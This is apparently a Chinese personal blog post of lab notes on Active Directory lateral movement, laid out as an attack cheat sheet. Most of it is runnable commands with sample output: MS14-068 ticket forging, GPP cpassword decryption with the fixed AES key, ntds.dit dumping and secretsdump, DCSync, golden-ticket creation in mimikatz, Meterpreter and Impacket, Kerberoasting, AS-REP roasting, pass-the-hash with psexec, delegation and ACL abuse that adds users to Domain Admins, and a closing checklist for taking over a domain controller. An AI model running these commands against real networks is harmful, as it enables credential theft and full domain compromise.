域渗透横向实验总结

前言

搞域横向的时候,实验记录了一波
参考链接:PayloadsAllTheThings/Active Directory Attack.md at master · swisskyrepo/PayloadsAllTheThings · GitHub

MS14-068

利用条件:

  • 域SID
  • 域用户
  • 域用户凭证
工具:
msf模块:auxiliary/admin/kerberos/ms14_068_kerberos_checksum
github:https://github.com/SecWiki/windows-kernel-exploits

msf:
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000

ms14-068.py:
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!

mimikatz导入生成的凭证(mimikatz得用本地管理员权限启动,导入才能生效)
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache" "exit"

验证是否成功:
dir \\<域控名称>\C$ #主机名.域名

搜索smb里的SYSVOL

Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.
findstr /S /I cpassword \\<FQDN>\sysvol\*



解密:
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000


e.g:
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000


echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

GPO横向

没有成功

ntdsutil可被访问

(若是在共享文件夹,或者可以被访问到的话,可以获取所有hash)

创建ntdsutil备份文件
ntdsutil "activate instance ntds" "ifm" "create full C:\ntdsutil.bak" "quit" "quit" or ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit

导出HASH
root@kali:~/impacket/examples# python secretsdump.py -ntds /root/Desktop/ntdsutil.bak/Active\ Directory/ntds.dit -system /root/Desktop/ntdsutil.bak/registry/SYSTEM LOCAL

当前用户是某个管理员组

管理员、域管理员或企业管理员的任何成员以及域控制器计算机帐户都可以运行DCSync来提取密码数据
当发现用户组是下面的其中一个的都可以这么干:
(或者一个用户同时具有GetChanges和GetChangesAll权限)

Administrators, Domain Admins, or Enterprise Admins

黄金票据权限提升

条件:

  • 需要krbtgt NTLM散列

利用方法:

mimikatz:
lsadump::dcsync /user:krbtgt #获取krbtgt的hash
lsadump::lsa /inject /name:krbtgt


# Forge a Golden ticket - Mimikatz
kerberos::purge #查看当前的kerberos凭证
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::golden /user:<伪造的用户名> /domain:<目标域> /sid:<用户SID> /krbtgt:<krbtgt的hash> /ticket:<伪造的用户名>.tck /ptt #生成并导入伪造的凭证
kerberos::tgt #票据查询

在meterpreter上伪造金票
# Get info - Meterpreter(kiwi)
dcsync_ntlm krbtgt
dcsync krbtgt


# Forge a Golden ticket - Meterpreter
load kiwi
golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
kerberos_ticket_purge
kerberos_ticket_use /root/Downloads/pentestlabuser.tck
kerberos_ticket_list

Linux生成金票票据凭据
# Convert the ticket kirbi to ccache with kekeo
misc::convert ccache ticket.kirbi


# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da


ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519


export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME


# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100

SPN服务票据请求

任何有效的域用户都可以使用GetUserSPNs为任何域服务请求kerberos票证(TGS)。一旦接收到票证,就可以在票证上脱机进行密码破解,以尝试破解服务以何种用户身份运行的密码。
(任何域用户都可以通过GetUserSPNs获取服务票据,随后可利用join破解凭证获取明文)

python GetUserSPNs.py  pentest.com/administrator:hxc1234567890! -dc-ip 192.168.1.109 -request
格式:python GetUserSPNs.py  <domain>/<username>:<password> -dc-ip <target_dc_ip> -request

域用户未启用Kerberos预验证

当用户未启动kerberos验证时,可以通过模拟请求来获取用户的TGT

Rubeus.exe asreproast /user:gadmin /format:hashcat /outfile:user.txt 用法:Rubeus.exeasreproast /user:<域用户> /format:hashcat /outfile:<输出文件地址>
python3 GetNPUsers.py pentest/ -usersfile /root/Desktop/user.txt -format john -outputfile /root/Desktop/out.txt -dc-ip 192.168.1.107 #用法:python3 GetNPUsers.py <域前缀>/ -userfile <用户字典路径> -format john -outfile <输出文件路径>
GetNPusers.py单个用户测试:python GetNPUsers.py htb.local/svc-alfresco -no-pass


除了使用Rubeues的方法就是用impacket工具包里GetNPusers.py

hash传递攻击

条件:

  • 知道nt lm hash
msf module:
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r  
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp
run
shell

impacket/psexec:
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d31e374dd553580d243d2df0cc5f0503 ./gadmin@pentest.com "whoami" #执行命令
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d31e374dd553580d243d2df0cc5f0503 ./gadmin@pentest.com #反弹shell
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d 
使用wmiexec.vbs也行

AdminSDHolder滥用

介绍:AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护的AD账户和组的模板。
AdminSDHolder所有权限的默认所有者只有:Domain Admins、Enterprise Admins、Administrators。这三个组有所有权限,当普通域用户有所有权限的话
可以控制整个域
参考链接: https://xz.aliyun.com/t/7276

kerberos委派攻击

在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

User访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道User是否有权限访问SQLServer,这时HTTP服务会利用User的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。

委派分为两种:

  • 非约束委派
  • 约束委派

windows server 2012 或以上的:资源委派

参考链接:用域委派打烂kerberos狗头 | 李三的剑谱

由于无约束委派攻击之前已经做过,不在重复叙述:Kerberos委派攻击 | 九世的博客

约束委派利用:
约束委派,将一个服务账户委派给一个指定的服务

利用委派约束的条件:

  • 知道被委派的用户NT LM HASH

建议在这种时候使用:

使用过程:
先用mimikatz获取hash,然后用kekeo请求域控获取凭证

tgt::ask /user:gadmin /domain:pentest.com /ntlm:d31e374dd553580d243d2df0cc5f0503

然后利用TGT请求对应委派的服务,成功后会返回域管理的TGT

tgs::s4u /tgt:TGT_gadmin@PENTEST.COM_krbtgt~pentest.com@PENTEST.COM.kirbi /user:Administrator@pentest.com /service:cifs/WIN-YZAQ01YWQBO.pentest.com 

导入凭证

成功的话可以访问域控cifs(共享文件服务)

可以利用IPC$把域控秒了

ACL提权

ACL理解:
参考链接: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%8B%E7%9A%84Access-Control-List/ (后门手法非常好)

ACL提权例子:
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E4%BD%BF%E7%94%A8Exchange%E6%9C%8D%E5%8A%A1%E5%99%A8%E4%B8%AD%E7%89%B9%E5%AE%9A%E7%9A%84ACL%E5%AE%9E%E7%8E%B0%E5%9F%9F%E6%8F%90%E6%9D%83/

常见的ACL

  • GenericAll on User: 我们可以在不知道当前密码的情况下重置用户的密码
  • GenericAll on Group: 实际上,这允许我们将自己(用户无斑点)添加到域管理组( net group “domain admins” spotless /add /domain)
  • WriteProperty on Group: 我们可以再次将自己添加到域管理员组并升级权限(net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName “domain admins” -Domain “offense.local”; net user spotless /domain)
  • Self (Self-Membership) on Group: 另一个允许攻击者将自己添加到组的特权
  • ForceChangePassword: 我们可以在不知道用户当前密码的情况下重置用户的密码( $c = Get-Credential;Set-DomainUserPassword -Identity changeme -AccountPassword $c.Password -Verbose)
  • GenericWrite on User:ObjectType上的WriteProperty(在本例中是脚本路径)允许攻击者覆盖委托用户的登录脚本路径,这意味着下一次当用户委托登录时,他们的系统将执行我们的恶意脚本(Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue “\10.0.0.5\totallyLegitScript.ps1)
  • WriteDACL: 通过应用以下扩展权限,可以将任何给定帐户添加为域的复制伙伴,包括“复制目录更改/全部复制目录更改”。 Invoke-ACLPwn是一种工具,可以自动在Active Directory中发现和配置不安全的ACL,并对其进行伪造( ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username ‘testuser’ -Domain ‘xenoflux.local’ -Password ‘Welcome01!’)

acl检查(检测用户组的ACL),项目: https://github.com/canix1/ADACLScanner

PS C:\Users\gadmin\Desktop\ADACLScanner-master\ADACLScanner-master> .\ADACLScan.ps1 -Base "dc=pentest,dc=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal gadmin -Output HTML -Show                                    
用法:.\ADACLScan.ps1 -Base "dc=<domain>,dc=<domain> -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal <username> -Output HTML -Show         

域信任利用

前提条件:需要对当前域的域管理员级别访问权限。

通过获取当前krbtgt的hash,并创建金票攻击另外一个域

kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt

Azure Admins域数据泄露

参考文章:XPN InfoSec Blog

貌似就是从SQL Server里查询对应的数据

利用条件:

  • 当前用户是Azure Admins组

直接执行命令

$pass = cOnvertTo-SecureString 'd0m@in4dminyeah!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("administrator",$pass)
Invoke-command -Computer MONTEVERDE -ScriptBlock { type C:\users\administrator\desktop\root.txt } -Credential $cred

总结

  • 拿到域内主机权限后,先进行敏感文件搜寻,hash导出。密码获取,查看域管,域用户有哪些,常规的信息收集
    • 获取当前域的基本信息,是否有登录什么域。主域控是那台
    • 搜寻SPN用户
    • 内网存活探测
    • 尝试利用获取到的hash或密码进行psexec或者wmi上线
    • 搜寻smb里的xml文件,有cpassword的关键词
    • 尝试使用MS14-068搞域控
    • Kerberos委派攻击
    • 收集域用户,尝试枚举未启用Kerberos预验证的用户获取TGT
    • 密码喷洒攻击
    • 当获取到用户是管理员、域管理员或企业管理员的任何成员以及域控制器计算机帐户都可以运行DCSync来提取密码数据
    • 使用知名的CVE来进行秒域控
    • Azure Admins组MSSQL数据泄露检测(可获取域控administrator的账户凭证)
    • 实在不行,hash钓鱼走一波
    • GPO攻击
    • 某些ALC用户组提权
    • 当前用户属于某个Admin组,使用Dsync导出hash
    • 黄金票据、白银票据
    • AdminSDHolder滥用
    • ntdsutil可被访问,ntdsutil hash导出

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:域渗透横向实验总结

本文作者:九世

发布时间:2020-04-05, 15:15:48

最后更新:2021-08-04, 01:07:13

原始链接:http://jiushill.github.io/posts/ae9f46f5.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录